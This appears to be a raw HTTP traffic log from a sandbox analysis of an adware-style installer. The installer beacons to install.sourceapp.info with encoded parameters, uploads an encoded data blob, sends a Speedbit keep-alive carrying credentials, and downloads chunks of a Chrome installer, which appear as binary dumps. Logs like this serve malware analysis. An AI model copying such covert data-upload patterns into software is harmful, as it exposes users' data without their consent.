Date: Fri, 30 Jan 2015 01:28:53 GMT

Content-Length: 2004
rgjtkE7xNJjCBJlz0OwRuVCpmEH7H7KHBco/u8BYoFGtlA yNLj0Kr4yiupi4AL6hWPqJp
GYHtFn36gt1jH9432CSPrSDIwLpdFZjVT4qwiAeKiUUP5U67kNtAqbhwfoL/PMWedmq7d8
6R Px0KnDOKbd/Iin4BZ k7pnxz CffBZIVfvYYWuginiQmEV9mtGZJFr5hU7X7guR2DdO
WEA/Qa5JpZoje5oX/uHuOcSaNCq5AuvCvLw1/2HLaIGu4I3Ixz0lP7nkL2VOeHX5tIzuxG
/myQonWqEaqsH5w /dhAyxDy3xW/Ia 4cfAJnfp/sEG7kHHtbv7NUutK445Kt0/XwWSFX9
HdFapG8ctejlSH7BmkVL6SVu1Z3r0SnTP92AztBe2aWa0rr7V10hu1z1mnbbCQYfVsicRd
7k3p0EryHsXXZ4JevYYergi4wAfAXdOvH6gG4YVQ/Vj18AXKP7vAWKFYrZQPsjS49Cq Mo
r1eOAC oVj6iaRmB7RR/ VBu8I085pnEnD4Cu7FqLLTJEah wKvUiulGzpUO3 RIYjs45O
ugz5xh6oMLiyRv0WtMMN ECtmW6ybNXNTuFbwp0c8hvE42CVWfSeQqkFp9ZOzhrCvRirS6
mVALJb6bANjXr9hxr5CvWUQb82qLNtsAHjz0vgFOHHLrw6ytJZoASutCPIOoOMKoBb69Ra
9UaY3FiLVt rDrJFt4J 1Hz9qBG6I7GRQLRL99cXviGTt335WPvIWq5C9Ndn5j7WwUjnWt
qdBO4Ig5pmhVbzkFqpC7nGTqxZ36cKuWezlEHjH7K6H4Qlus5A8RrlwRS5IP/sdv0WssMD
4EuglGHqbInWTvdb8dATuQTFgjLJCbOeDLYUrocRwHDgnSv CPmBQ/xVquZcuy siwzsDP
PYGqc3gYpA7hWi4lqvXvrZIOgv39dZzF/hmUqhA9TMZNwY sQIqge/wE 0Wce7Gf4etYRO
5BGquhGaNbqsA wA99M4oyG vTKmHKDKXKcC pxx jnc0FigBOqdBOgIjYJtiFv8yFr1EL
nQTp8U0OwVuAbhyBakH/ylDo105cAq0zrWlFfpNLyieL5A4 tGoVy3hm34Ou/ a tQ6JMf
6DH9432CSPrSDJkBudZCjVb3kimyTbWCVulR5IAiqTiriy73DubTCelo/6Bx8A k6E6vS/
rPbOsi344e50b8mQvvCMX2aZxP p5CoRGnyQfAXsS8H7lquoVL/ljLtBuLPf3YBPkF8tNX
6S2usmfzCKWEFaRPtIZnsmzW2l3hSq7GHOkYxN0kixj22Fr1VfuXB8BM0r4Z/h75uWnbaq
rwXJg3q4pAokvM3xi5K665dugmnfFGrEq3gnHCEvDXTvBb4og /h/SyWeeZsPpFqYKuNFK
jlT3kiu1Vr6CSulP4/5SyiC jhf9J DbHul s6N88Fbjw1eyS7uBZ/oY0s5J5xy2kh33AY
2Cbp9I/Nk2rhCi006hUM6tF/4evZBO 1ik/hebMqiNEPxLu9Aapze4 jL5AqDFW AU
<<< skipped >>>

GET /fp?alpha=KGoDSTRzaGgCLCpKLGM7KS5QRDQoNhU4dQ9rQlZoL34OSXIqG3E3LCIsaT4RaXUCaEE1GG05AykeJ2AgMDcNODZPb0AjO3AzHVoiDT54RCtrawAFaj9yVD0xVgQDCyEtPkJdMHgQCjZYLy0fUmZyeQ4dSykUbU9rNWxSFzR/fCFEJDsvEBdnZDMTXGUAen0nJjt2FR85Lj5eJTFfFAdeNX8yT1w1bRcDL1wjOE1NdSd7Fk4cOEhvXSRpYTJNfXhhJgFSIj0SDWwmakobOAEpZVtSHmBXWjwzbVY0NV4CAQk+f3gDUlYkSFdgHWk4axozISJSSQpGUG5CdTBrUC80aHomHU83aElVNg0zE1EQXG0EOjAfcwQFGTdsUig1XgIIeSpdPC0rRX9bTBt+agVS HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: install.sourceapp.info

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 200 OK

Cache-Control: no-cache, no-store

Pragma: no-cache

Content-Type: text/plain

Expires: -1

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

SVR: SP004C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Date: Fri, 30 Jan 2015 01:28:57 GMT

Content-Length: 0
....


GET /ii?alpha=KGoDSTQ6LRc6dx9wLGM7KS5QRDQoNg9hOR1ZF1hxejZJDnE9G2BgH2h7Sj4lNGpfWh1qZTlGdDRtVwsiLCF9QFxEa0NRNn0gTA9sFTsaZGsqd0BJfn04W0c8KAwFfVlaJlZbRXQLBz8oXzVtOhB2YQ5uOVwVakoAPWVXHTRweXJKVABlQ1UzfCgVTX9WY2slNWhyARx+ajoAR3YBCVheYG5nAB1ka0JWaShod3lCZHRiBgJBKhxtVXcyaVAUNHpqIDUdFWUkNiQmdVEFIQFnEn5oPilCW3QuaVIoZgdAF1RraG4dUkwkRUFgGXV+W18CLSJSQw9rDGpbFnYzBEBhbmYgFxMaeD9FIj9jVw84CzRlLSZsaAQGbzhvVyV3C0ZHUnt7Kx8OYiYGCS9bNCgJECYoLVhLRV1COhcvdzRCDUdzZjscFlYLBQR2LHUMWj8SZ3ExaGg2CFF+bylbPDRCBQEJPnNqUl8xdxMDNV8sIh1Ob3R9DBtMPkgpRhBJKwNXdzEvGTQFFyoURVQgdFEJMAh6FjdVGRV8CBxnLA0lQAtCWFh9OG4BDDx8AEkyW1tgARAQKy4= HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: install.sourceapp.info

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 200 OK

Cache-Control: no-cache, no-store

Pragma: no-cache

Content-Type: text/plain; charset=utf-8

Expires: -1

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

SVR: SP004C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Date: Fri, 30 Jan 2015 01:28:57 GMT

Content-Length: 84
80XPtPb5H42wg wm8si39QiNoOn3Soi5hPpJqeT251HR/uGsZ4qexO0Vjufk7AKdtJj5be
Tq6KKHXUPMLZcxHTTP/1.1 200 OK..Cache-Control: no-cache, no-store..Prag
ma: no-cache..Content-Type: text/plain; charset=utf-8..Expires: -1..Se
rver: Microsoft-IIS/7.5..X-AspNet-Version: 4.0.30319..SVR: SP004C2..X-
Powered-By: ASP.NET..p3p: CP="CAO PSA OUR"..Date: Fri, 30 Jan 2015 01:
28:57 GMT..Content-Length: 84..80XPtPb5H42wg wm8si39QiNoOn3Soi5hPpJqeT
251HR/uGsZ4qexO0Vjufk7AKdtJj5beTq6KKHXUPMLZcx....


POST /if?alpha=KGoDSTR0NAoRfxJvLGM7KS5QRDQoNg9hOR1ZF1hxejZJDnE9G2BgH2h7Sj4lNGpfWh1qZTlGdDRtVwsiLCF9QFxEa0NRNn0gTA9sFTsaZGsqd0BJfn04W0c8KAwFfVlaJlZbRXQLBz8oXzVtOhB2YQ5uOVwVakoAPWVXHTR4bHIqGhM0HSxsIHJuFT0ICTJ+cjkuE0UuM2xAczlcBAAONi46QV04YxQAPV4uLAkbMCIORENFcUklCyprLgcDdnhpDQsdIGVAVSx5KBxOYVR0dCEzaHcTTz1hEwlmOTtnF1RranIfCjwaT11rBW1rA19jcGFURQw+Qy4NI3ZhL0xxb2A8FhQCeCYMbC1pUg9xU3oVZWk8I0ZbMWExB2kkIBQRTX1seAYAb20cEzlEKzYYSWV1bEVJCm5FPh5mdD0BTjInL35XQlA3AgljJ2EYOT8DNixkbnpuYEYxejoCJVcaVUVeazctARk8eQBdPRonYQkeI3l1BgBJKB57Fic5bFIfJy01ek9IRGlLVTNzMRFaNRBnE1pxOzRQBHhYEhFkdgsUZ1Jqan4OAyEeBmBMOVM4axYmL2xySQ5xTzgieU08JHxJ HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Filename: ilg

User-Agent: NSIS_Inetc (Mozilla)

Host: install.sourceapp.info

Content-Length: 31503

Connection: Keep-Alive

Cache-Control: no-cache



alpha=GHwbTD8PJCMAIzciFGFJDzJYSnMDaRhhYy1HQTExGiB1HA==|,|GHwbTD9PAnpME2hIFFxePhRkf3MDaT06UwtRTExgcnwTB1Y8QFtOAF5vazYxFztCdSdNVzUiHls/CEN8bGknDDpwJT9Pew==|,|GHwbTD8 O2BiBhctCVdAOnAQDRAEFStzaixRdV93Q0E2Gno5UV9rPWZhVBsyKA5LRANGaGp5bBsY|,|GHwbTD8APxNHf21/GmdkDg9uZBcedF5BMTEVflcc|,|GHwbTD98D2BRengzFHx HjFBQXNtLA1zZjFMCXlmR3lXVyo/CG0yVWxPc1dnQB4XBEcYeABTD3EPSA0hb1gTRU53CFBZPEEJQzZrVi9y|,|GHwbTD9dC3YbJ2ghFGFeAzxIQyceLwxvYn5BRlN T3MTSmYUXk4qXAo/AhI0DTY1MQ==|,|GHwbTD8WahtTOkQKFHx HjFBQQBRPAxjan5EW1F Dn4YB2ccXk8qDUNgUlpjVClDWUJdW0ZAUHlsGxg=|,|GHwbTD9FSzJoUhYPFHx HjFBQQBRPAxjan4fCU1 XiwCC38iHwdXHzU=|,|GHwbTD8ycEVQHwsVDnlkGhZrDTVMJhMgbDFPRF99Sj0bA2QYEBYqAhI0DVcfPw==|,|GHwbTD8ycEVQHg4VDnlkGhduDTVMJhMgbDFPRF9
HTTP/1.1 200 OK

Cache-Control: no-cache, no-store

Pragma: no-cache

Content-Type: text/plain; charset=utf-8

Expires: -1

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

SVR: SP004C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Date: Fri, 30 Jan 2015 01:28:58 GMT

Content-Length: 41
{"status":"OK","url":null,"message":null}HTTP/1.1 200 OK..Cache-Contro
l: no-cache, no-store..Pragma: no-cache..Content-Type: text/plain; cha
rset=utf-8..Expires: -1..Server: Microsoft-IIS/7.5..X-AspNet-Version: 
4.0.30319..SVR: SP004C2..X-Powered-By: ASP.NET..p3p: CP="CAO PSA OUR".
.Date: Fri, 30 Jan 2015 01:28:58 GMT..Content-Length: 41..{"status":"O
K","url":null,"message":null}..


GET /online/ka.aspx?CV=2.0.0.0&ProductID=12000&UserID=3d25af1c-6093-4a17-8fb9-0df34fdf8db8&Password=DESvnCzg&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,55ab86e2-1aa0-4cd0-9974-956045006e3d,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1422581319&SBPIDS=1&KA=1 HTTP/1.1

User-Agent: CoreWinInet

Host: online.GOOBZO.com

Cache-Control: no-cache

Cookie: ASP.NET_SessionId=4s11le45qfkhc2qxoebayyee




HTTP/1.1 302 Found

Connection: close

Date: Fri, 30 Jan 2015 01:28:17 GMT

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

Cache-Control: no-cache, no-store

X-AspNet-Version: 2.0.50727

Location: hXXp://online.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=3d25af1c-6093-4a17-8fb9-0df34fdf8db8&Password=DESvnCzg&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,55ab86e2-1aa0-4cd0-9974-956045006e3d,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1422581319&SBPIDS=1&KA=1

Cache-Control: private

Content-Type: text/html; charset=utf-8

Content-Length: 1268
<html><head><title>Object moved</title></he
ad><body>..<h2>Object moved to <a href="hXXp://onlin
e.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&U
serID=3d25af1c-6093-4a17-8fb9-0df34fdf8db8&Password=DESvnCzg&O
S=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,55ab8
6e2-1aa0-4cd0-9974-956045006e3d,&BundleID=NONE&BrandID=NONE&
amp;PartnerList=&ElapsedTime=1422581319&SBPIDS=1&KA=1">
here</a>.</h2>..</body></html>....<!DOCTYPE
 html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "hXXp://VVV.w3.o
rg/TR/xhtml1/DTD/xhtml1-transitional.dtd">..<html xmlns="hXXp://
VVV.w3.org/1999/xhtml" >..<head><title>...Untitled Page
..</title></head>..<body>..    <form name="form1"
 method="post" action="ka.aspx?CV=2.0.0.0&ProductID=12000&User
ID=3d25af1c-6093-4a17-8fb9-0df34fdf8db8&Password=DESvnCzg&OS=1
0&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,55ab86e2
-1aa0-4cd0-9974-956045006e3d,&BundleID=NONE&BrandID=NONE&
;PartnerList=&ElapsedTime=1422581319&SBPIDS=1&KA=1" id="fo
rm1">..<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" 
value="/wEPDwUJNzgzNDMwNTMzZGTTAuzAluiepn5Ur3p1G7qqvo u/g==" />..  
  <div>..    ..    </div>..    </form>..</body>
;..</html>....
<<< skipped >>>


HEAD /edgedl/chrome/win/8681233296A99640/40.0.2214.94_chrome_installer.exe?cms_redirect=yes&expire=1422595852&ip=193.138.244.231&ipbits=0&mm=28&ms=nvh&mt=1422581418&mv=m&pl=22&shardbypass=yes&sparams=expire,ip,ipbits,mm,ms,mv,pl,shardbypass&signature=55289FB0AF4A3A42E0A8A42189C85902F0D439D4.297AB7DE82C12399CD9790C57F8304E054115434&key=cms1 HTTP/1.1

Connection: Keep-Alive

Accept: */*

Accept-Encoding: identity

User-Agent: Microsoft BITS/7.5

X-Old-UID: cnt=0

X-Last-HR: 0x0

X-Last-HTTP-Status-Code: 0

X-Retry-Count: 0

Host: r3---sn-3c27ln7s.gvt1.com




HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Length: 41175632

Content-Type: application/x-msdos-program

Etag: "4ec28"

Server: downloads

Vary: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-Xss-Protection: 1; mode=block

Date: Thu, 29 Jan 2015 19:31:36 GMT

Alternate-Protocol: 80:quic,p=0.02

Last-Modified: Thu, 29 Jan 2015 19:07:00 GMT

Connection: keep-alive

Alternate-Protocol: 80:quic,p=0.01
HTTP/1.1 200 OK..Accept-Ranges: bytes..Content-Length: 41175632..Conte
nt-Type: application/x-msdos-program..Etag: "4ec28"..Server: downloads
..Vary: *..X-Content-Type-Options: nosniff..X-Frame-Options: SAMEORIGI
N..X-Xss-Protection: 1; mode=block..Date: Thu, 29 Jan 2015 19:31:36 GM
T..Alternate-Protocol: 80:quic,p=0.02..Last-Modified: Thu, 29 Jan 2015
 19:07:00 GMT..Connection: keep-alive..Alternate-Protocol: 80:quic,p=0
.01......


GET /edgedl/chrome/win/8681233296A99640/40.0.2214.94_chrome_installer.exe?cms_redirect=yes&expire=1422595852&ip=193.138.244.231&ipbits=0&mm=28&ms=nvh&mt=1422581418&mv=m&pl=22&shardbypass=yes&sparams=expire,ip,ipbits,mm,ms,mv,pl,shardbypass&signature=55289FB0AF4A3A42E0A8A42189C85902F0D439D4.297AB7DE82C12399CD9790C57F8304E054115434&key=cms1 HTTP/1.1

Connection: Keep-Alive

Accept: */*

Accept-Encoding: identity

If-Unmodified-Since: Thu, 29 Jan 2015 19:07:00 GMT

Range: bytes=0-8262

User-Agent: Microsoft BITS/7.5

X-Old-UID: cnt=0

X-Last-HR: 0x0

X-Last-HTTP-Status-Code: 0

X-Retry-Count: 0

Host: r3---sn-3c27ln7s.gvt1.com




HTTP/1.1 206 Partial Content

Accept-Ranges: bytes

Content-Length: 8263

Content-Type: application/x-msdos-program

Etag: "4ec28"

Server: downloads

Vary: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-Xss-Protection: 1; mode=block

Date: Thu, 29 Jan 2015 19:31:36 GMT

Alternate-Protocol: 80:quic,p=0.02

Last-Modified: Thu, 29 Jan 2015 19:07:00 GMT

Content-Range: bytes 0-8262/41175632

Connection: keep-alive

Alternate-Protocol: 80:quic,p=0.01
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$........ K..A%..A%.
.A%..Nx..A%..A$..A%...K..A%...Y..A%..A%..A%...]..A%.Rich.A%.........PE
..L......T.................(....s......-.......@....@.................
.........@t.....l5t.....................................d1..P....P....
s...........t.P<...................................................
........................................text...&&.......(.............
..... ..`.data........@[email protected]..
,..............@..@...................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
................................................2...2...2...2.......2.
..2...2...3...3.."3...3..D3..Z3..f3..r3...3...3...3...3...3...3...3...
4...4..64..B4..X4..n4...4...4...4...4...4...4...4...4...5...5..(5..>
;5..N5..b5..~5...5...5...5...5...5...5.......6........................
.T........0...............{.8.A.6.9.D.3.4.5.-.D.5.6.4.-.4.6.3.c.-.A.F.
F.1.-.A.6.9.D.9.E.5.3.0.F.9.6.}.....{.F.D.A.7.1.E.6.F.-.A.C.4.C.-.4.a.
0.0.-.8.B.7.0.-.9.9.5.8.A.6.8.9.0.6.B.F.}.....{.8.B.A.9.8.6.D.A.-.^..^
..^..^..^..^..^..^..^..F...@.^[.U..VW........E..~.WP.F.....@......
<<< skipped >>>

GET /edgedl/chrome/win/8681233296A99640/40.0.2214.94_chrome_installer.exe?cms_redirect=yes&expire=1422595852&ip=193.138.244.231&ipbits=0&mm=28&ms=nvh&mt=1422581418&mv=m&pl=22&shardbypass=yes&sparams=expire,ip,ipbits,mm,ms,mv,pl,shardbypass&signature=55289FB0AF4A3A42E0A8A42189C85902F0D439D4.297AB7DE82C12399CD9790C57F8304E054115434&key=cms1 HTTP/1.1

Connection: Keep-Alive

Accept: */*

Accept-Encoding: identity

If-Unmodified-Since: Thu, 29 Jan 2015 19:07:00 GMT

Range: bytes=8263-19830

User-Agent: Microsoft BITS/7.5

X-Old-UID: cnt=0

X-Last-HR: 0x0

X-Last-HTTP-Status-Code: 0

X-Retry-Count: 0

Host: r3---sn-3c27ln7s.gvt1.com




HTTP/1.1 206 Partial Content

Accept-Ranges: bytes

Content-Length: 11568

Content-Type: application/x-msdos-program

Etag: "4ec28"

Server: downloads

Vary: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-Xss-Protection: 1; mode=block

Date: Thu, 29 Jan 2015 19:31:36 GMT

Alternate-Protocol: 80:quic,p=0.02

Last-Modified: Thu, 29 Jan 2015 19:07:00 GMT

Content-Range: bytes 8263-19830/41175632

Connection: keep-alive

Alternate-Protocol: 80:quic,p=0.01
.u.S....@._[^[email protected]";.s.3....
[email protected].^..U....D...SV.....je^.M..u.......M........u.
.u..M........^[..3.8].t.3.F...E.P.E.P.......YYu.......P.u.f......f....
.........YYt..E.P. .........P......P......P.u..E.Pf......f......f.].f.
...............u..E.f....:[email protected][email protected].....
.....u..E.g......................P......P......P.............j.....@.P
[email protected]=..w... .E..P.f...w... 3.f;......].U..V.u...69
E.w.2..?.U.3.;.f...v0W.E...........f.<}[email protected].<[email protected]
;.r._..^].U...M...t..}..t.3...f.<[email protected].].3.].U..V.u...Wt!.}...t
..U......f..AABBf..t.Ou.f!>2._^].....U...U.V.u.RV......u. .R..FP...
.....^].U...}..SVWtH.][email protected]) ..<0..{..|!...P.E..
..pP.......YYt.NKKOy.....2._^[].U..S.]...VWt8.u...t1...3.f..t#...3....
.QP.q.....YYt.G..?...0f..u.....2._^[].U...U...SVWt^f.:.tX.E....f....tC
 ......f...u.t"...f..t0P...7P.......YYt.FFf.<7.u.f.>.t.CC...GGf.
.u.3........E._^[][email protected]"........f..-t.f..t.
.u.Q.Q.....YYu.2.^]..M...t.......U...E....w.3.]..U..LB...f.9\t.II;.u..
. ........#.].U...E.V.u....u..&.P.F.....@.....^]...3.9......1.q.....@.
[email protected].;.u.2..eP....@.;[email protected]
[email protected]..}[email protected]...<[email protected].....<.@......[_^
.......1...........2.......1...........5.......2...........6..........
.................2...2...2...2.......2...2...2...3...3.."3...3..D3..Z3
..f3..r3...3...3..................................................
<<< skipped >>>

GET /edgedl/chrome/win/8681233296A99640/40.0.2214.94_chrome_installer.exe?cms_redirect=yes&expire=1422595852&ip=193.138.244.231&ipbits=0&mm=28&ms=nvh&mt=1422581418&mv=m&pl=22&shardbypass=yes&sparams=expire,ip,ipbits,mm,ms,mv,pl,shardbypass&signature=55289FB0AF4A3A42E0A8A42189C85902F0D439D4.297AB7DE82C12399CD9790C57F8304E054115434&key=cms1 HTTP/1.1

Connection: Keep-Alive

Accept: */*

Accept-Encoding: identity

If-Unmodified-Since: Thu, 29 Jan 2015 19:07:00 GMT

Range: bytes=19831-35117

User-Agent: Microsoft BITS/7.5

X-Old-UID: cnt=0

X-Last-HR: 0x0

X-Last-HTTP-Status-Code: 0

X-Retry-Count: 0

Host: r3---sn-3c27ln7s.gvt1.com




HTTP/1.1 206 Partial Content

Accept-Ranges: bytes

Content-Length: 15287

Content-Type: application/x-msdos-program

Etag: "4ec28"

Server: downloads

Vary: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-Xss-Protection: 1; mode=block

Date: Thu, 29 Jan 2015 19:31:36 GMT

Alternate-Protocol: 80:quic,p=0.02

Last-Modified: Thu, 29 Jan 2015 19:07:00 GMT

Content-Range: bytes 19831-35117/41175632

Connection: keep-alive

Alternate-Protocol: 80:quic,p=0.01
 ...0V-....&......Q...Z...Y..{4.... 8../..o.$...`|.sL..P..........JlWe
.)WHBo'....K.s.,.M?..v..k..4.......'..........V........#.>_.M2r..f.
......,.....8..5.....`Qt...l7.iW............K..qR.......J4.......5B[..
Q.X....~.lI.T ......c,cB...F..X.Y4.....s......c....`.....@..........*0
@."Vq...r. 0[....4.?7y|.......Qm.d..{j......U..].6...~...........7....
...:.>.g...{....nQ..t...X%b=.........o..6.:..B....0J..e.P..:.....o.
..2C]B..>...1..W..3...%}....=....]K..'..2T..>#PEHcZM...!...:i.8.
.^e'....../.Xp.%6.f uRK..\{.........X.G...g,y..)..._.6.J.D8.1...<".
m....V......n.....}..2...,..^7.kzr.\.u..'E.....).q.J..E.Y..1.....tT...
...=$..-wZ.\.b.....xJK..5......M*!....p..B..?..D.C...w...m.$......K...
"tl.....\F[.o...f.>.$#...htSX..5p..t.Bwx.X..^o..._.;.l.y.....V]-.Nw
..D/[email protected]..!...@."hW$DcN..N.Z..q..\Y.b..f..~1.(..j..jB.
.]..D[).......b..g..x..{(. ...\... .N..W..........`m..7..m)...P....M.d
L^......C..jG.>.....2p.....y....5.,[email protected][...X .Vp.f.#.j1#_..
.......uj..S.Da>H.k...`...'r...Z.F........-....d.:....._.>P)?O}^
[email protected]. ..&.#:87z.{;..B.........].5....
%.{.Y.1l..B.......dT.u.;...t...Y)..G.......:hw=...#....k..1.).....y...
e..'.y.......2.F..'.byRR.V......5E....'....>.a.B...)_.......Wm}.'..
up.=<........W;.v.*.U.J...;...BH.G..V....[.z........y.0..&v..O..yk.
 ....{.....#7(=...H...<!%0.s.D..A!.0'..........\.........V..7..KI&.
.....z......Y~....|....^ouLw"M-`.kS..C....?^3*Q.u3!1.KC*.\H..[t}...Af.
.....C.O1O!..Y..dc..4e.........(.A....~I..3.3|.o56..H..0.H..$...lJ
<<< skipped >>>

GET /edgedl/chrome/win/8681233296A99640/40.0.2214.94_chrome_installer.exe?cms_redirect=yes&expire=1422595852&ip=193.138.244.231&ipbits=0&mm=28&ms=nvh&mt=1422581418&mv=m&pl=22&shardbypass=yes&sparams=expire,ip,ipbits,mm,ms,mv,pl,shardbypass&signature=55289FB0AF4A3A42E0A8A42189C85902F0D439D4.297AB7DE82C12399CD9790C57F8304E054115434&key=cms1 HTTP/1.1

Connection: Keep-Alive

Accept: */*

Accept-Encoding: identity

If-Unmodified-Since: Thu, 29 Jan 2015 19:07:00 GMT

Range: bytes=35118-56182

User-Agent: Microsoft BITS/7.5

X-Old-UID: cnt=0

X-Last-HR: 0x0

X-Last-HTTP-Status-Code: 0

X-Retry-Count: 0

Host: r3---sn-3c27ln7s.gvt1.com




HTTP/1.1 206 Partial Content

Accept-Ranges: bytes

Content-Length: 21065

Content-Type: application/x-msdos-program

Etag: "4ec28"

Server: downloads

Vary: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-Xss-Protection: 1; mode=block

Date: Thu, 29 Jan 2015 19:31:36 GMT

Alternate-Protocol: 80:quic,p=0.02

Last-Modified: Thu, 29 Jan 2015 19:07:00 GMT

Content-Range: bytes 35118-56182/41175632

Connection: keep-alive

Alternate-Protocol: 80:quic,p=0.01
.X....1ov....d..."w~..w..W..b..7'..k.e..Xl|.C.../.D..zsg9#.b^6...).R..
'...U w.2I.v.....yP.t.....y.Fi.8......('.6di......R..~>2.J..A*BC...
..i.a........C.t..4..C.JO..~....S.H..ft.......S).`.F..... bjB....=P ..
 ...v....fazJ..>[email protected] ^..h..0I`v.d....=..~,.
..<.u... &.$...D.. .yK.w).B..V{......S^..M..... .1.Fr.iG(4......uW.
?..].w........KTe.7....]N...u...E..Q;...;*p..`.D...".<.'H..0N-..n.k
. z....J.'H...*...X...<[email protected];p.F.k(..1f...V...7D.Ho=......H...q.
.F.n...Q.z...u3...r...{.0).....L...sKS...y...Q,.83.M/sF~....=..QS...3.
G..2.Ha>}....*l%..u.o........q..Z...............%.V8.3....)..~q=b.S
../..=.NSC...Q.!p.....=.....b#loN_.4.|....%7.8...6S.p{H/......g...v...
E..ml.`.!.....P....Tv......o`A............M.}\Pi=h=......."[email protected]&.
..e../\....f.9.Y!....K._...B...c....q..3...eY........`....@w'...5..P..
..X......G..gd.].|.....<.J.&..<$y..*.....R..R...8_R....eG.*d.ugs
.v)Hc..h....... ..\..po..~....q.}..l...a..s..L.........~I.t.V...<q.
..h..e(............j.Hi".....T.]..9.54...qk.....7....N:$.,......5<.
ZO..>8.../Z..Ftr0fm.....(7z....O w'....C..m..~....>.TZ)...>.r
/.)c...f..........Y..\C....,......c]..Q....n.g`....5 .6......B^....S..
....#n....:.H/.:........Yj.$.....6....cSz..".L".,L..n...Jz.......v..E.
,...Z.<.IsZ.l.0..t(..7..An.........G..9...CL.=v...G......i..).A\...
A. !...B.22kG|cg...F*....3.......Et..5..%'....=>...r.x3.......a....
R........jd.m2dD..B.q....vK.....)..C=..].j.e^$l.......(......N:..M....
[email protected].~......Y.t..~..|...gR.9...5`...,5......v. ~.G..
<<< skipped >>>

GET /edgedl/chrome/win/8681233296A99640/40.0.2214.94_chrome_installer.exe?cms_redirect=yes&expire=1422595852&ip=193.138.244.231&ipbits=0&mm=28&ms=nvh&mt=1422581418&mv=m&pl=22&shardbypass=yes&sparams=expire,ip,ipbits,mm,ms,mv,pl,shardbypass&signature=55289FB0AF4A3A42E0A8A42189C85902F0D439D4.297AB7DE82C12399CD9790C57F8304E054115434&key=cms1 HTTP/1.1

Connection: Keep-Alive

Accept: */*

Accept-Encoding: identity

If-Unmodified-Since: Thu, 29 Jan 2015 19:07:00 GMT

Range: bytes=56183-77229

User-Agent: Microsoft BITS/7.5

X-Old-UID: cnt=0

X-Last-HR: 0x0

X-Last-HTTP-Status-Code: 0

X-Retry-Count: 0

Host: r3---sn-3c27ln7s.gvt1.com




HTTP/1.1 206 Partial Content

Accept-Ranges: bytes

Content-Length: 21047

Content-Type: application/x-msdos-program

Etag: "4ec28"

Server: downloads

Vary: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-Xss-Protection: 1; mode=block

Date: Thu, 29 Jan 2015 19:31:36 GMT

Alternate-Protocol: 80:quic,p=0.02

Last-Modified: Thu, 29 Jan 2015 19:07:00 GMT

Content-Range: bytes 56183-77229/41175632

Connection: keep-alive

Alternate-Protocol: 80:quic,p=0.01
1..O.....\.........-t.v.Ot}cY1...n...W.s..Y.s..1..#.IW...z~\>...F0&
gt;.U.B8.p"8(BVQ3.3F....]c...m.Fex.}w..f...'..8.{.c.y]I.`.....r...Q.l.
~....{6l.Y_.z....[-T.QX..8R....3...]99.V........"9....'.sCU..T.z.jZgU1
.|:W....Ab..#....l.#.8w{.K..}h.?^..#...F2......l...O.....B.......X.&.u
....|....p.4.....7.\.e..L.M.[H.....-.y.K.....3. 8.....(.1-..;.........
....*B?..$..GV...r#q......l........v.J~M.5P.&.......<..a-.B..?er3O.
a.C`n...V..$1}.'KC.-....7.t.?.n...b'87...;..W{....?HB.1.;d..V.tc>.K
]...E'..l..oY.^....[M.s.8R....[m......e.......@......^.(.j.....M.XS./.
a..$....0._.z.....,....B..ib.A.G..lQy0..........l%....t=.N"..M.....d].
.)..r.~$I.p.KNw.l...&.=B.W.f....... <.<u...?w.,..lN..{...q...1..
L'.K.Kl.[.......Y.....S'..H....[.T...,..O4..Yg.Gt.......R)..:..d..6.Z.
....=. ..FQyu."U}...V./.&K..._.U.i.c.[....Q.a...e........-.?..s....7.h
.....|g`B....Q..4 ...}W../......... ...!k.k.......d2.f.S..kc......R..p
k.-..f..)15..x^.t..t1..J....as..#m.......:^..A)Y.f.k.]...OV..j.."..n..
....g&v.......sn.kQ,6.v#rN...0..j......P...S.<...H.*.........@b%P..
....X.Th.....zEHMm...u......EJ). .....Cq.\..0.}.*......../............
M.j.c.8.lVd.....=X....~<.?..*...........u...>.B9b.~...H.....<
G.L.KD.RB s.|...?..1._;........q...E....koG-.i.jYl5....".".yZ..2x'.C.Y
..E.L*....D.O...pQ...........zG. [@.O..g.-`..I/0..."....%#...3{F..[...
..3 ......zI.....I%...5.CHE....Fl..!....Zt. .......'.w5..k.'.t~<..A
`..L..T.`...u4....a:...*.......,-.?....;..n......;.XL.P...W.?X9..=G.u.
.h...............Q'...".48...s .;......'..Mq>3H._.M.L^..hV...hJ
<<< skipped >>>

